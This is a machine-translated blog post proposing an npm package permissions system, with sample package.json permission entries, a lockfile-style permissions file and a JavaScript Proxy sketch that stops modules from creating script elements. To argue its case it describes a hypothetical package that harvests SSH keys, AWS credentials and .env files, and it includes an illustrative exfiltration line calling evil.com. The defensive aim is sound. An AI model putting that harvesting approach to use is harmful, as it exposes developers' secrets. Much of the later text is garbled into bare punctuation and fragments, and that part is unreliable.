📜 ⬆️ ⬇️

There is an idea: permissions system for npm-packages

A few days ago I first launched a calculator on a new phone and saw the following message: “The calculator would like to access your contacts.”


At first, this message seemed a little sad to me (it looks like the calculator was lonely), but this case made me think ...

What if, like applications for phones, npm-packages would need to declare the permissions necessary for their work? With this approach, the package file package.json would look something like this:

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

On the npmjs.com website , a section of the package page with information on the permissions it needs might look like this.
')

Such a section with information about permissions could have packages on the registry site npm
Such lists of permissions for a package could be a combination of the permissions of all its dependencies with its own permissions.

One glance at the contents of the permissions section of the fancy-logger package could make the developer think about why the package that writes something to the console has access to the http module, and that it looks somewhat suspicious.

What would be the world in which a similar permission system would be used for npm-packages? Perhaps someone will not see the point in this, since he feels completely safe, for example, using only reliable packages from time-tested publishers. So that everyone who reads this would feel vulnerable, here’s a short story.

A story about how I steal your environment variables.


I wanted to create an npm package called space-invaders . It was interesting to learn how to make games by writing a game that works in the console, and at the same time substantiate my point of view on the vulnerabilities associated with npm-packages.

You could npx space-invaders this game with the following command: npx space-invaders . After its launch, you could immediately start shooting at the aliens and kill time.

You would like this game, you would share it with friends, they would like it too.

All this looks very positive, but, entertaining you, the space-invaders will go about its business, namely the collection of some data. She will gather information from ~/.ssh/ , ~/.aws/credentials , from ~/.bash_profile and other similar places, read the contents of all .env files that she can reach, including process.env , look in to the git configuration (in order to find out - whose information it collects), and then it will send it all to my server.

I did not write such a game, but for some time I have been feeling uneasy, and when I run the npm install command, I reflect on how vulnerable my system is. Now, looking at the progress indicator of the installation, I think about how many standard folders and files on my laptop, the contents of which should not fall into the wrong hands.

And it’s not just about my workspace. For example, I don’t even know if there are data in some environmental variables of my site assembly system for connecting to the production server database. If there is such data somewhere, then you can imagine a situation in which the malicious npm-package installs a script in the system designed to connect to my working database. Then this script executes the SELECT * from users command, then http.get('http://evil.com/that-data') . Maybe it was precisely because of the possibility of such attacks that I encountered advice that passwords should not be stored in databases as plain text?

All this looks rather frightening, and, most likely, is already happening (although it is impossible to say for sure whether it is happening or not).

On this, perhaps, we stop talking about the consequences of the theft of important data. Let's return to the topic of permissions for npm-packages.

Locking permission changes


I guess it would be great to be able to see the permissions required by the package when browsing the npm site. But it should be noted that the opportunity to see the resolution is good only when applied to a specific point in time, but in reality, this does not solve the real problem.

During a recent incident in npm, someone first published a patch version of a package with a malicious code, then published a minor version, from which the malicious code had already been deleted. The time between these two events was enough for a lot of users of a dangerous package to get in danger.

That is the problem. Not packages that are created by malware and remain like this all the time. The problem is that in a seemingly reliable package you can imperceptibly add something bad and after a while remove it from it.

As a result, we can say that we need a mechanism to block the set of permissions received by packets.

Perhaps it will be something like the file package-permissions.json , which sets permissions for Node.js and for the browser and contains a list of packages that need these permissions. With this approach, it would be necessary to list all the packages in such a file, and not just those that are in the dependencies section of the project package.json file.

This is what package-permissions.json might look like.

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

A real version of such a file could contain much more package entries.

Now imagine that once you update a package with two hundred dependencies that will also be updated. For one of these dependencies, a patch version was published, which suddenly needed access to the http Node.js module.

If this happens, the npm install command will fail with the following error: “The add-two-number package required by the fancy-logger package requested access to the http Node.js module. Run the npm update-permissions add-two-numbers command to allow this, and then run the npm install command again. ”

Here, fancy-logger is the package that is in your package.json file (it is assumed that you are familiar with this package), and the package add-two-numbers is a fancy-logger dependency that you have never heard of.

Of course, even if there is a file in the system to “block” dependencies, some developers will, without thinking about anything, confirm the new permissions. But, at a minimum, the change in package-permissions.json will be seen in the pull request, that is, there will be a chance that another developer, more responsible, will pay attention to this.

Further, changes in the requested permissions would require the npm registry itself to notify the authors of packages when the situation changes somewhere in the dependencies tree of their packages. Perhaps - this will be done by e-mail of approximately the following content:

“Hello, the author of fancy-logger . We inform you that add-two-number , the package you use, has requested permission to work with the http module. The permissions of your package shown at npmjs.com/package/fancy-logger have been updated accordingly. ”

This, of course, will add cases to the authors of the packages and to npm itself, but these cases will be worthy of spending a little time on them. In this case, the author of add-two-numbers can be quite sure that if he requests permission to work with the http module, this will trigger a multitude of “alarms” all over the world.

That is what we need. Yes? I hope that, as in the case of telephone applications, and even in the case of extensions for Chrome, packages that require less permissions will enjoy more user love than those that need an inexplicably high level of access to systems. This, in turn, will force package authors to think very well when choosing the permissions necessary for their development.

Suppose that in npm decided to enter the system permissions. On the first day of launching such a system, all packages will be considered to require full permissions (such a decision will be made later - in cases where the permissions section is missing from package.json ).

An author of a package who wants to declare that his package does not require special permissions will be interested in adding permissions to package.json as an empty object. And, if the authors of the packages are sufficiently interested in that dependency permissions do not “burden” their packages, they will try to ensure that these dependency packages also do not require special permissions, for example, by making corresponding pull requests in the dependency repository.

In addition, each author of the package will seek to reduce the risk of the vulnerability of his package when hacking one of its dependencies. Therefore, if the authors of the packages use dependencies that require permissions, which, it would seem, are not needed by them, they will have an incentive to switch to using other packages.

And in the case of developers who use npm-packages when creating applications, this will force them to pay particular attention to the packages used in their projects, choosing mainly those that do not require special permissions. In this case, of course, some packages, for objective reasons, will require permits that can cause problems, but such packages are likely to be under special control of the developers.

Perhaps in some way something like Greenkeeper can help in solving all these problems.

And finally, the package-permissions.json file will provide an easy-to-read summary for a security professional who assesses potential holes in the application and will allow you to ask specific questions about the disputed packages and their permissions.

As a result, hopefully, this simple permissions property can be widely distributed among approximately 800,000 npm packages and make npm safer.

Of course, this will not prevent possible attacks. Just as the permissions requested by mobile applications do not make it impossible to create malicious mobile applications distributed through official sites. But this will narrow the “attack surface” to packages that explicitly request permission to perform certain actions that may pose a threat to computer systems. In addition, it will be interesting to know what percentage of packages do not need any special permissions at all.

This is what the mechanism for working with permissions for npm packages that I invented looks like. If this idea becomes a reality, then we can either rely on the fact that attackers will honestly describe their packages, declaring permissions, or combine the system of declaring permissions with the mechanism of forced restriction of packages in accordance with the permissions requested by them. This is an interesting question. Let's look at it as applied to the Node.js environment and browsers.

Forced restriction of package capabilities according to the permissions they requested in Node.js


Here I see two possible options for applying such restrictions.

▍ Option 1: a special npm-package, forcing security measures


Imagine a package created and maintained by npm (or some other organization, equally authoritative and far-sighted). Let this package be called @npm/permissions .

Such a package would either be included in the application code by the first import command, or applications would be launched with a command like node -r @npm/permissions index.js .

A package would override other import commands so that they do not violate the permissions stated in the permissions section of the package.json files of other packages. If the author of a certain package lovely-logger did not declare the need for this package in the Node.js http module, this means that such a package will not be able to access this module.

Strictly speaking, locking entire Node.js modules in this way is not ideal. For example, the npm methods package loads the Node.js http module, but does not send any data with it. It simply takes the http.METHODS object, converts its name to lower case, and exports it as a classic npm package. Now this package looks like an excellent target for an attacker - he has 6 million downloads per week, while he has not changed for 3 years. I could write to the authors of this package and invite them to give me his repository.

Considering the methods package, it would be better to assume that it does not need the network permission, but not the permission giving access to the http module. Then this restriction can be fixed by means of an external mechanism and neutralize any attempts by this packet to send some data from the systems in which it operates.

An imaginary @npm/permissions package could also restrict access from one package to any other packages that were not listed as its dependencies. This will prevent the package, for example, from importing something like fs-extra and request , and using the capabilities of these packages to read data from the file system and send the read data to the attacker.

Similarly, it may be useful to distinguish between "internal" and "external" disk access. I’m quite happy with the fact that the node-sass needs access to materials located within the directory of my project, but I see no reason why this package needs access to something outside this directory.

Perhaps at the very beginning of the introduction of the permissions system, the @npm/permissions package will need to be added to projects manually. Perhaps, during the transition period, during the elimination of the inevitable malfunctions, this is the only reasonable approach to using such a mechanism. But to ensure real security, it is necessary that this package be rigidly embedded in the system, as it will be necessary to take into account the permissions and when running the package installation scripts.

Then, most likely, it turns out that a simple command like "enforcePermissions": true in the project package.json file will tell npm that any scripts would be launched with the forced use of the permissions declared by them.

▍ Option 2: Safe Mode Node.js


The special Node.js mode of operation focused on an increased level of security will obviously require more serious changes. But perhaps in the long run, the Node.js platform itself will be able to enforce the restrictions imposed by the permissions declared by each package.

On the one hand, I know that those who develop the Node.js platform strive to solve the tasks of this platform, and my ideas about the safety of npm packages go beyond the scope of their interests. After all, in the end, npm is just a technology that accompanies Node.js. On the other hand, Node.js developers are interested in ensuring that corporate users would feel confident working with this platform, and security, I think, is one of those Node.js parties that should not be taken care of by the “community”.

So, for now everything that we talked about looked pretty simple and it came down to the system monitoring in one way or another the capabilities used by the modules during the operation of Node.js.

Now let's talk about browsers. Here, everything looks not so clear and understandable.

Forced restriction of package capabilities in accordance with the permissions requested by them in browsers


At first glance, the forced restriction of the capabilities of packages in browsers looks even simpler, since the code running in the browser can do little in relation to the operating system on which the browser is based. In fact, in the case of browsers, you only have to worry about the possibility of packets for transmitting data to unusual addresses.

The problem here is that there are countless ways to send data from the user's browser to the attacker's server.

This is called exfiltration or data leakage, and if you ask a security professional how to avoid it, he will, with the air of the person who invented the powder, tell you to stop using npm.

I believe that for packages running in browsers, you need to pay attention to only one resolution - the one that is responsible for the ability to work with the network. Let's call it network . There may be other permissions in this environment (like those that regulate access to the DOM or local storage), but here I assume that our main concern is the possibility of data leakage.

Data from the browser can "lead" in many ways. Here are what I could remember in 60 seconds:


It should be noted that a good content security policy (CSP, Content Security Policy) can neutralize some of these threats, but does not apply to all of them. If someone can fix me, I will be happy, but I believe that you can never rely on the fact that CSP will completely protect you from data leakage. One person once told me that CSP provides almost complete protection against a huge number of threats. To this I replied that it is impossible to be a little pregnant, and since then we have not communicated with this person.

If you wisely search for ways to steal data from the browser, then I’m sure that it’s quite realistic to make a fairly comprehensive list of these methods.

Now we need to find a mechanism to deny access to the use of features from such a list.

Webpack (, @npm/permissions-webpack-plugin ), :


(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .

const newScript = document.createElement('script'); // ! , — script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , «» .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .


, , HTTP , , , -. .

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - « ...», , , ?

Results


, , , , . , 90% , , , 10% — , .

, , - .

Dear readers! , , npm, -?

Source: https://habr.com/ru/post/433010/


All Articles